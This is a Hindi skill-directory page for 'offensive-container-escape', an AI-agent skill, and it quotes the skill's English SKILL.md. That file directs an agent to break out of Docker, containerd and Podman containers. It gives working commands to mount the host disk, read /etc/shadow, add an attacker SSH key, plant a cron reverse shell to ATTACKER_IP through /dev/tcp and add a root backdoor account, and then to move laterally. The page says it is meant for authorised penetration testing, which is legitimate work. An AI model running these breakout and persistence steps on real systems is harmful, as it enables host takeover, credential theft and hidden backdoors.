offensive-container-escape
यह क्या करती है
यह स्किल Docker, containerd और Podman सेटअप की जाँच करने की एक कार्यप्रणाली है, ताकि पता चले कि container से होस्ट सिस्टम तक कैसे पहुँचा जा सकता है। यह लिखित अनुमति के साथ container isolation परखने वाले सुरक्षा पेशेवरों के लिए है।
कब इस्तेमाल करें
- ✓जब आप अधिकृत penetration test के लिए container isolation परख रहे हों।
- ✓जब आप जाँचना चाहते हों कि privileged container या खुला Docker socket होस्ट तक पहुँच देता है या नहीं।
- ✓जब आपको मूल्यांकन में escape जोखिम के लिए container capabilities और runtime वर्शन की समीक्षा करनी हो।
Skill का लिंक
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/container/offensive-container-escape/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमें अपने container सेटअप के परीक्षण की अनुमति है। जाँचिए कि कोई container होस्ट तक पहुँच सकता है या नहीं।”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
स्किल पहले पुष्टि करती है कि shell container के अंदर है, फिर उसकी capabilities, mounts और sockets की सूची बनाती है। फिर वह हर ज्ञात गलत configuration जाँचती है और दर्ज करती है कि होस्ट तक पहुँच संभव है या नहीं।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Container Escape and Breakout
You have a shell inside a container. Your objective is to break out to the underlying host operating system. Container isolation relies on Linux namespaces, cgroups, seccomp profiles, AppArmor/SELinux, and dropped capabilities. Every misconfiguration in these layers is an escape vector. This skill walks you through systematic enumeration, exploitation of common misconfigurations, abuse of exposed runtime sockets, capability-based escapes, cgroup breakouts, and known CVEs against container runtimes.
Quick Workflow
- Confirm you are inside a container (check for
.dockerenv, cgroup entries, PID 1 process). - Enumerate capabilities, mounts, namespaces, and sockets with automated tools.
- Identify the escape vector: privileged mode, socket exposure, dangerous capabilities, cgroup misconfiguration, or vulnerable runtime.
- Execute the breakout technique matching the vector.
- Validate host access by reading
/etc/hostname, checking PID namespace, or writing to host filesystem. - Pivot from host access to lateral movement across the cluster or infrastructure.
Phase 1: Container Detection and Enumeration
Before attempting escape, confirm you are containerized and map the attack surface.
Detecting Container Environment
# Check for Docker marker file
ls -la /.dockerenv
# Check cgroup entries for container identifiers
cat /proc/1/cgroup | grep -E 'docker|containerd|kubepods|podman'
# Check PID 1 process (containers typically run app process, not init)
cat /proc/1/cmdline | tr '\0' ' '
# Check for container-specific environment variables
env | grep -iE 'kubernetes|docker|container|pod'
# Check hostname (often a truncated container ID)
hostname
# Check mount info for overlay filesystem
cat /proc/1/mountinfo | head -20
Automated Enumeration Tools
# deepce - Docker enumeration and escalation tool
# Download and run (if outbound access is available)
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
chmod +x deepce.sh
./deepce.sh
# CDK - Zero-dependency container penetration toolkit
./cdk evaluate
# amicontained - Inspect container runtime and capabilities
./amicontained
# Manual capability check with capsh
capsh --print
cat /proc/1/status | grep -i cap
Decoding Capabilities Manually
# Read raw capability hex from /proc
cat /proc/1/status | grep CapEff
# Example output: CapEff: 0000003fffffffff
# Decode with capsh
capsh --decode=0000003fffffffff
# Key dangerous capabilities to look for:
# CAP_SYS_ADMIN - mount filesystems, cgroup manipulation, namespace operations
# CAP_SYS_PTRACE - ptrace any process, cross namespace boundaries
# CAP_NET_ADMIN - network namespace manipulation, raw sockets
# CAP_DAC_OVERRIDE - bypass file read/write/execute permission checks
# CAP_SYS_RAWIO - direct I/O to /dev/mem, /dev/kmem
# CAP_SYS_MODULE - load/unload kernel modules
# CAP_MKNOD - create device files
Checking Namespace Isolation
# Compare PID namespace
ls -la /proc/1/ns/pid
ls -la /proc/self/ns/pid
# Check if sharing host namespaces
ls -la /proc/1/ns/ | awk '{print $NF}'
# If namespace inodes match host, isolation is broken
# Check mount namespace for host mounts
cat /proc/1/mountinfo | grep -E '/dev/sd|/dev/nvme|hostPath'
findmnt
# Check for host network namespace
ip addr show
# If you see host interfaces (eth0 with host IP), hostNetwork is true
cat /proc/net/tcp
Phase 2: Privileged Container Breakout
A container run with --privileged drops nearly all isolation. It has all capabilities, can see host devices, and has no seccomp or AppArmor restrictions.
Mount Host Filesystem
# List available block devices
fdisk -l 2>/dev/null || lsblk
# Identify host root filesystem device (commonly /dev/sda1 or /dev/nvme0n1p1)
# Mount it into the container
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Verify host access
cat /mnt/host/etc/hostname
cat /mnt/host/etc/shadow
ls -la /mnt/host/root/
# Drop an SSH key for persistent access
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@host" >> /mnt/host/root/.ssh/authorized_keys
# Plant a reverse shell in cron
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /mnt/host/etc/crontab
# Add a backdoor user
echo 'backdoor:x:0:0::/root:/bin/bash' >> /mnt/host/etc/passwd
echo 'backdoor:$6$salt$hash:19000:0:99999:7:::' >> /mnt/host/etc/shadow
nsenter to Host Namespaces
अक्सर पूछे जाने वाले सवाल
यह किस तरह की गलत configurations जाँचती है?
यह privileged mode, खुले runtime sockets, खतरनाक Linux capabilities और cgroup सेटिंग जाँचती है।
क्या यह ज्ञात runtime बग कवर करती है?
हाँ। यह runc जैसे container runtimes की ज्ञात कमज़ोरियों की सूची देती है, ताकि आप जाँच सकें कि सिस्टम प्रभावित है या नहीं।
क्या यह सिर्फ़ अधिकृत परीक्षणों के लिए है?
हाँ। यह लिखित अनुमति वाले मूल्यांकन के लिए लिखी गई है।
जानकारी
लेखक का मूल विवरण
Container escape and breakout techniques targeting Docker, containerd, and Podman runtimes. Covers privileged container breakout via host filesystem mount and nsenter, Docker socket abuse through /var/run/docker.sock, Linux capability exploitation including CAP_SYS_ADMIN, CAP_SYS_PTRACE, and CAP_NET_ADMIN, cgroup v1 notify_on_release escape, runc CVEs such as CVE-2019-5736 and CVE-2024-21626 Leaky Vessels, kernel exploits from within containers, and Dockerfile misconfigurations like --privileged and host namespace sharing. Includes enumeration with capsh, amicontained, deepce, CDK, and nsenter
repo: SnailSploit/Claude-Red
लोकप्रियता
- GitHub स्टार
- 10k
- रैंकिंग में स्थान
- #11951
- लाइसेंस
- MIT
- अपडेट की गई
- 12/10/2026
कमेंट
- …
इस repository की और skills
offensive-active-directory
10kआपके एजेंट को अधिकृत Active Directory सुरक्षा परीक्षण की योजना बनाने में मदद करती है, नेटवर्क मैपिंग से लेकर Domain Admin तक के हमला रास्ते खोजने तक।
offensive-netexec
10kआपके एजेंट को अधिकृत नेटवर्क परीक्षण के लिए NetExec (nxc) टूल इस्तेमाल करने में मदद करती है, जिसमें प्रोटोकॉल, प्रमाणीकरण और credential जाँच शामिल हैं।
offensive-api-abuse
10kआपके एजेंट को अधिकृत API सुरक्षा परीक्षण की योजना बनाने में मदद करती है, जो business logic के दुरुपयोग, GraphQL जोखिम और race conditions खोजते हैं।
offensive-api-security
10kआपके एजेंट को OWASP API Top 10 के आधार पर REST, gRPC और WebSocket API पर अधिकृत सुरक्षा परीक्षण चलाने में मदद करती है।
मिलती-जुलती skills
openclaw-update
394kयह आपके एजेंट को चल रहे OpenClaw Gateway को अपडेट करने में मदद करती है, इंस्टॉल के तरीके के अनुसार सही विधि चुनकर और सेशन बनाए रखकर।
diagnose-gateway
394kयह आपके एजेंट को सेटिंग्स, चैनल और पोर्ट जांचकर पता लगाने देती है कि OpenClaw Gateway क्यों फ़ेल हो रहा है, बिना कुछ बदले।
crabbox-apps
394kयह आपके एजेंट को किसी अस्थायी क्लाउड मशीन पर ऐप खोलने और चलाने देती है, फिर उसका व्यू आपके चैट के साइड पैनल में दिखाती है।